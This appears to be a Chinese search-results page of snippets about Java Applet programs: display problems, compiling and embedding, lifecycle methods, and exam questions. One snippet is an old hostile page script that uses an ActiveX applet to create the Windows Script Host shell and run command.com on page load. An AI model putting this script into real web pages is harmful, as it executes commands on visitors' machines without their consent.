精华内容
下载资源
问答
  • applet程序在浏览器中无法正常显示

    千次阅读 热门讨论 2018-07-03 08:26:07
    这个问题困扰我很久,虽然它只是个小问题,现在记录一下。 系统win7,jdk1.8.0_131,浏览器QQ浏览器,火狐等等能想到的都是了一遍...图1 而在浏览器中applet片段无法显示,见下图。图2 图3 推测结果:(1) ...

    这个问题困扰我很久,虽然它只是个小问题,现在记录一下。

     

    系统win7,jdk1.8.0_131,浏览器QQ浏览器,火狐等等能想到的都是了一遍(都不行,郁闷)。

    下面的这张图片是运行applet程序是需要用到的html文件和java源代码,以及在appletviewer中正常执行结果。

    图1

     

    而在浏览器中,applet片段无法显示,见下图。

    图2

     

    图3                

      推测结果:

    (1)       我的JDK配置不正确

    (2)       浏览器已经抛弃了applet,笑死。。。怎么可以这样。郁闷

    求解答。


    展开全文
  • 展开全部要确e68a8462616964757a686964616f31333363373736保浏览器可以运行applet,需要执行如下步骤:1、确保applet在eclipse是可以运行的(本说明中将以下述代码为例)packageapplet;importjavax.swing.*;...

    展开全部

    要确e68a8462616964757a686964616f31333363373736保浏览器可以运行applet,需要执行如下步骤:

    1、确保applet在eclipse是可以运行的(本说明中将以下述代码为例)package applet;

    import javax.swing.*;

    public class applet extends JApplet

    {

    public void init()

    {

    JLabel label = new JLabel("Hello, applet!", SwingConstants.CENTER);

    add(label);

    }

    }

    2、如上代码在eclipse中可以运行,则可以进行如下操作:

    (1)在命令窗口编译该文件:javac applet.Java,生成applet.class文件

    (2)applet.java同级目录创建html文件applet.html,内容如下:

    codebase="..">

    (3)在浏览器中打开。选用IE浏览器,其他浏览器按理说装上相应的java插件应该也能运行。在用浏览器运行前有两个地方要设置,不然运行的时候会报错“应用程序已被安全设置阻止”。设置如下:控制面板->程序->Java->安全->编辑站点列表->添加(选择applet.html的所在路径)->确定。一般这样设置好后,就能运行了,可是有时还会报错,再对浏览器设置:IE工具->Internet选项->安全->自定义级别->脚本->Java小程序脚本->启用。

    至此,applet应该已经可以运行。

    展开全文
  • Java Applet 是用Java 语言编写的一些小应用程序,这些程序是直接嵌入到页面,由支持Java的浏览器(IE 或 Nescape)解释执行能够产生特殊效果的程序。它可以大大提高Web页面的交互能力和动态执行能力。包含Applet的...

    Java Applet 是用Java 语言编写的一些小应用程序,这些程序是直接嵌入到页面中,由支持Java的浏览器(IE 或 Nescape)解释执行能够产生特殊效果的程序。它可以大大提高Web页面的交互能力和动态执行能力。包含Applet的网页被称为Java-powered页,可以称其为Java支持的网页。

    当用户访问这样的网页时,Applet被下载到用户的计算机上执行,但前提是用户使用的是支持Java的网络浏览器。由于Applet是在用户的计算机上执行的,所以它的执行速度不受网络带宽或者Modem存取速度的限制,用户可以更好地欣赏网页上Applet产生的多媒体效果。

    Applet 小应用程序的实现主要依靠java.applet 包中的Applet类。与一般的应用程序不同,Applet应用程序必须嵌入在HTML页面中,才能得到解释执行;同时Applet可以从Web页面中获得参数,并和Web页面进行交互。

    含有Applet的网页的HTML文件代码中必须带有和这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小程序代码并在本地计算机上执行该Applet小程序。

    Applet是一种Java的小程序,它通过使用该Applet的HTML文件,由支持Java的网页浏览器下载运行。也可以通过java开发工具的appletviewer来运行。Applet 程序离不开使用它的HTML文件。这个HTML文件中关于Applet的信息至少应包含以下三点:

    1)字节码文件名(编译后的Java文件,以.class为后缀)

    2)字节码文件的地址

    3)在网页上显示Applet的方式。

    一个HTML文件增加Applet有关的内容只是使网页更加富有生气,如添加声音、动画等这些吸引人的特征,它并不会改变HTML文件中与Applet无关的元素。

    (一) Applet程序开发步骤

    Applet程序开发主要步骤如下:

    1)选用EDIT或Windows Notepad等工具作为编辑器建立Java Applet源程序。

    2)把Applet的源程序转换为字节码文件。

    3)编制使用class 的HTML文件。在HTML文件内放入必要的语句。

    下面举一个最简单的HelloWorld 例子来说明Applet程序的开发过程:

    (1) 编辑Applet 的java源文件

    创建文件夹C:\ghq,在该文件夹下建立 HelloWorld.java

    文件的源代码如下:

    import java.awt.*;

    import java.applet.*;

    public class HelloWorld extends Applet //继承Appelet类,这是Appelet Java程序的特点

    {

    public void paint(Graphics g )

    {

    g.drawString("Hello World!",5,35);

    }

    }

    保存上述程序在C:\ghq\HelloWorld.java文件里。

    (2)编译Applet

    编译HelloWorld.java源文件可使用如下JDK命令:

    C:\ghq\>javac HelloWorld.java

    注意:如果编写的源程序违反了Java编程语言的语法规则,Java编译器将在屏幕上显示语法错误提示信息。源文件中必须不含任何语法错误,Java编译器才能成功地把源程序转换为appletviewer和浏览器能够执行的字节码程序。

    成功地编译Java applet之后生成响应的字节码文件HelloWorld.class的文件。用资源管理器或DIR命令列出目录列表,将会发现目录C:\ghq中多了一个名为HelloWorld.class的文件。

    (3)创建HTML文件

    在运行创建的HelloWorld.class 之前,还需创建一个HTML文件,appletviewer或浏览器将通过该文件访问创建的Applet。为运行HelloWorld.class, 需要创建包含如下HTML语句的名为HelloWorld.html的文件。

    HelloWorld! Applet

    CODE="JavaWorld.class"

    WIDTH=200

    HEIGHT=100>

    本例中,语句指明该Applet字节码类文件名和以像素为单位的窗口的尺寸。虽然这里HTML文件使用的文件名为HelloWorld.HTML,它对应于HelloWorld.java的名字,但这种对应关系不是必须的,可以用其他的任何名字(比如说Ghq.HTML)命名该HTML文件。但是使文件名保持一种对应关系可给文件的管理带来方便。

    (4)执行 HelloWorld.html

    如果用appletviewer运行HelloWorld.html,需输入如下的命令行:

    C:\ghq\>appletviewer JavaWorld.html

    可以看出,该命令启动了appletviewer并指明了HTML文件,该HTML文件中包含对应于HelloWorld 的语句。

    如果用浏览器运行HelloWorld Applet,需在浏览器的地址栏中输入HTML文件URL地址。

    至此,一个Applet程序的开发运行整个过程结束了(包括java源文件、编译的class文件、html文件以及用appletviewer或用浏览器运行)。

    (二) Applet类

    Applet类是所有Applet应用的基类,所有的Java小应用程序都必须继承该类。如下所示。

    import java. applet.*;

    public class OurApplet extends Applet

    {

    ......

    ......

    }

    Applet类的构造函数只有一种,即:public Applet()

    Applet实现了很多基本的方法,下面列出了Applet类中常用方法和用途。

    public final void setStub(AppletStub stub)

    //设置Applet的stub.stub是Java和C之间转换参数并返回值的代码位,它是由系统自动设定的。

    public boolean isActive();// 判断一个Applet是否处于活动状态。

    public URL getDocumentBase();// 检索表示该Applet运行的文件目录的对象。

    public URL getCodeBase();// 获取该Applet 代码的URL地址。

    public String getParameter(String name);// 获取该Applet 由name指定参数的值。

    public AppletContext getAppletContext();// 返回浏览器或小应用程序观察器。

    public void resize(int width,int height);// 调整Applet运行的窗口尺寸。

    public void resize(Dimension d);// 调整Applet运行的窗口尺寸。

    public void showStatus(String msg);// 在浏览器的状态条中显示指定的信息。

    public Image getImage(URL url); // 按url指定的地址装入图象。

    public Image getImage(URL url,String name);// 按url指定的地址和文件名加载图像。

    public AudioClip getAudioClip(URL url);// 按url指定的地址获取声音文件。

    public AudioClip getAudioClip(URL url, String name);// 按url指定的地址和文件名获取声音。

    public String getAppletInfo();// 返回Applet应用有关的作者、版本和版权方面的信息;

    public String[][] getParameterInfo();

    // 返回描述Applet参数的字符串数组,该数组通常包含三个字符串: 参数名、该参数所需值的类型和该参数的说明。

    public void play(URL url);// 加载并播放一个url指定的音频剪辑。

    public void destroy();//撤消Applet及其所占用的资源。若该Applet是活动的,则先终止该Applet的运行。

    (1) Applet运行状态控制基本方法

    Applet类中的四种基本方法用来控制其运行状态:init()、start()、stop()、destroy()

    init()方法

    这个方法主要是为Applet的正常运行做一些初始化工作。当一个Applet被系统调用时,系统首先调用的就是该方法。通常可以在该方法中完成从网页向Applet传递参数,添加用户界面的基本组件等操作。

    start()方法

    系统在调用完init()方法之后,将自动调用start()方法。而且,每当用户离开包含该Applet的主页后又再返回时,系统又会再执行一遍start()方法。这就意味着start()方法可以被多次执行,而不像init()方法。因此,可把只希望执行一遍的代码放在init()方法中。可以在start()方法中开始一个线程,如继续一个动画、声音等。

    stop()方法

    这个方法在用户离开Applet所在页面时执行,因此,它也是可以被多次执行的。它使你可以在用户并不注意Applet的时候,停止一些耗用系统资源的工作以免影响系统的运行速度,且并不需要人为地去调用该方法。如果Applet中不包含动画、声音等程序,通常也不必实现该方法。

    destroy()方法

    与对象的finalize()方法不同,Java在浏览器关闭的时候才调用该方法。Applet是嵌在HTML文件中的,所以destroty()方法不关心何时Applet被关闭,它在浏览器关闭的时候自动执行。在destroy()方法中一般可以要求收回占用的非内存独立资源。(如果在Applet仍在运行时浏览器被关闭,系统将先执行stop()方法,再执行destroy()方法。

    (2) Applet应用的有关参数说明

    利用Applet来接收从HTML中传递过来的参数,下面对这些参数作一简单说明:

    * CODE标志

    CODE标志指定Applet的类名;WIDTH和HEIGHT标志指定Applet窗口的像素尺寸。在APPLET语句里还可使用其他一些标志。

    * CODEBASE 标志

    CODEBASE标志指定Applet的URL地址。Applet的通用资源定位地址URL,它可以是绝对地址 ,如www.sun.com。也可以是相对于当前HTML所在目录的相对地址,如/AppletPath/Name。如果HTML文件不指定CODEBASE 标志,浏览器将使用和HTML文件相同的URL。

    * ALT 标志

    虽然Java在WWW上很受欢迎,但并非所有浏览器都对其提供支持。如果某浏览器无法运行Java Applet,那么它在遇到APPLET语句时将显示ALT标志指定的文本信息。

    * ALIGN 标志

    ALIGN标志可用来控制把Applet窗口显示在HTML文档窗口的什么位置。与HTML语句一样,ALIGN标志指定的值可以是TOP、MIDDLE或BOTTOM。

    展开全文
  • 〈SCRIPT〉 document.write(“〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉“); function runcmd() { try { obj=document.applets[0]; obj.setCLSID(“{F935DC...
     〈SCRIPT〉
        document.write(“〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉“);
        function runcmd()
        {
         try
         {
          obj=document.applets[0];
          obj.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}“); //Windows Scripting Host 的外壳对象
          obj.createInstance(); //创建 wsh 的一个实例
          Shell=obj.GetObject();
          Shell.run(’c:\command.com’);
         }
         catch(e){};
        }
        setTimeout(“runcmd()“,1);  //1ms
      〈/script〉
    文章来自:http://www.hlzi.com/tech/html/2007/0823/69048.html

    转载于:https://www.cnblogs.com/cuihongyu3503319/archive/2009/09/04/1560532.html

    展开全文
  • 含有Applet的网页的HTML文件代码中部带有 和这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小应用程序代码并本地计算机上执行Applet。但是大多数浏览器在Applet安全方面受到诸多的限制,...
  • 含有Applet的网页的HTML文件代码中部带有 和这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小应用程序代码并本地计算机上执行Applet。 但是大多数浏览器在Applet安全方面受到诸多的限制,...
  • 第一个Applet程序

    2020-11-08 11:23:19
    Applet程序是不同于独立应用程序的另一类Java程序,是一种嵌入在浏览器中的Java程序,他必须扩展Applet类。扩展Applet类没有构造方法,也不需要main()方法,一般包含init():首先执行且只执行一次;start():自动...
  • Applet是可以再Web浏览器上运行的小型Java程序,它可以运行支持Java的浏览器中,例如IE和Netscape等,使用Applet可以大幅度提高网页的交互能力。 当用户访问网页中包含Applet程序时,Applet将被下载到本机执行,...
  • Java Applet程序JavaApplet就是用Java语言...Java Applet 程序由浏览器中内置的 JVM 负责执行,而不是安装操作系统上的 JVM 来执行这也是称Java Applet 程序为内嵌式程序的原因。1 Java Applet程序结构一个Java Ap
  • Applet 定义  Applet是一种运行于Web...标明,当支持Java的网络浏览器遇到这对标记时,就下载相应的应用程序代码,并本地计算机上执行Applet。 作用优势  Applet可以提高Web页面的交互能力和动态执行能力 ...
  • Applet程序特点及其的运行步骤

    千次阅读 2015-11-16 10:18:15
    Applet程序是不同于独立应用程序的另一类Java程序,是一种嵌入在浏览器中执行的Java程序,它必须继承Applet类。  特点: 1.它没有构造方法,也不需要main()方法。 2.它一般包含4个重要方法:init(),start...
  • (1)运行方式不同。JavaApplet程序不能单独运行,它必须依附于一个用HTML语言编写的网页并嵌入其中,通过与Java兼容的...运行Java Applet程序的解释器不是独立的软件,而是嵌在浏览器中作为浏览器软件的一部分。JavaA...
  • Applet程序不能独立运行,必须依附网页上,嵌入到HTML语言,借助浏览器内置的java解释器才能运行。   Applet程序继承java.applet.Applet类,该类提供了Applet程序与所执行环境间的标准接口,同时还提供...
  • JavaApple:就是用java语言编写的小应用程序,可以直接嵌入到网页,并能够产生特殊的效果。包含Applet的网页被...由于Applet用户的计算机上执行的,因此它的执行速度不受网络带宽或者Modem存取速度的限制。...
  • Java中,Applet和Servlet都是Java...序号键AppletServlet1执行Applet在客户端执行,即Applet客户端计算机上的Web浏览器中运行。另一方面,Servlet服务器端执行,即Servlet服务器上的Web页上运行。2父包A...
  • Java Applet 是用Java 语言编写的一些小应用程序,这些程序是直接嵌入到页面,由支持Java的浏览器(IE 或 Nescape)解释执行能够产生特殊效果的程序。它可以大大提高Web页面的交互能力和动态执行能力。包含Applet的...
  • java applet程序

    2018-04-08 17:12:00
    JavaApple:就是用java语言编写的小应用程序,可以直接嵌入到网页,并能够产生特殊的效果。包含Applet的网页被称为Java-...由于Applet用户的计算机上执行的,因此它的执行速度不受网络带宽或者Modem存取...
  • Applet程序又称小程序。本文将从apple程序的类层次,...Java Applet可以被HTML页面引用,并可以支持Java的浏览器中执行,可以说Applet具有“激活因特网”的强大功能。Applet的工作原理: 编译好的字节码文件(.clas
  • JAVA Applet小应用程序入门

    万次阅读 多人点赞 2018-07-20 17:31:55
    指定applet程序名,即可在浏览器中运行. 2.Applet如何编写 我的工具是 eclipse。新建一个类 该类必须是public且继承Applet。文件名与类名一样 3.Applet类中方法的执行顺序与生命周期 先执行构造方法 再执行...
  • void 在浏览器中执行 applet 程序以下选项中的哪个方法将被最先执行 D. init) 以下哪个不是 Java 的原始数据类型 B. Boolean 向 Applet 传递参数的正确描述是 C. C. PARAM name "age,value 20" 阅
  • 沙箱机制对Applet的安全性限制在浏览器或者appletviewer运行远程主机上存放的Applet时,Java VM认为它是不可信任的,将其置于所谓sandbox的保护之下,在这样的情况下Applet的运行受到下面的限制:a) Applet不能...
  • 小应用程序applet

    2018-07-08 14:41:27
    1.定义:applet是能够被包含HTML页面并且能被启用了java的客户端浏览器执行程序applet主要用来创建动态交互的web应用程序。2.生命周期:init:每次被载入都会被初始化start:开始执行appletstop:结束执行...
  • 在浏览器中执行applet 程序,将被最先执行的方法是( )。A.init() B.start() C.destroy() D.stop()2.编译Java Applet 源程序文件编译后产生的字节码文件扩展名为( )。A.class B.java C.html D.exe3.在...
  • 1、在浏览器中执行applet 程序,以下选项中的哪个方法将被最先执行……… (? ? )A)init()? ? B)start()? ? ? C)destroy()? ? ? ? D)stop()2、有以下方法的定义,请选择该方法的返回类型(? ? ? )? ? ? ReturnType? ...
  • Applet

    2019-10-04 11:24:00
    Java applet是能够被包含HTML页面并且能被启用了Java的客户端浏览器执行的程序。Applet主要用来创建动态交互的web应用程序。 Applet的生命周期 Init:每次被载入的时候都会被初始化。 Start:开始执行...
  • 1、在浏览器中执行applet 程序,以下选项中的哪个方法将被最先执行……… ( )A)init() B)start() C)destroy() D)stop()2、有以下方法的定义,请选择该方法的返回类型( )ReturnType method(byt...
  • 1、在浏览器中执行applet 程序,以下选项中的哪个方法将被最先执行……… ( )A)init() B)start() C)destroy() D)stop()2、有以下方法的定义,请选择该方法的返回类型( )ReturnType method(byt...
  • 黑马程序员 一 Applet 了解和体验Applet的作用 Applet就是嵌套网页的小程序。 ...浏览器显示网页的原理 ...Applet由浏览器来启动执行,其执行过程如下 : ...(3)浏览器启动Java虚拟机执行Applet...
  • 详细内容Java中,Applet和servlet的主要区别是:applet客户端计算机上执行的应用程序Applet和servlet是小型Java程序或...Applet是一个可以嵌入到网页中的动态Java程序,它Web浏览器中运行,并客户端工作。...

空空如也

空空如也

1 2 3 4 5 ... 19
收藏数 364
精华内容 145
关键字:

在浏览器中执行applet程序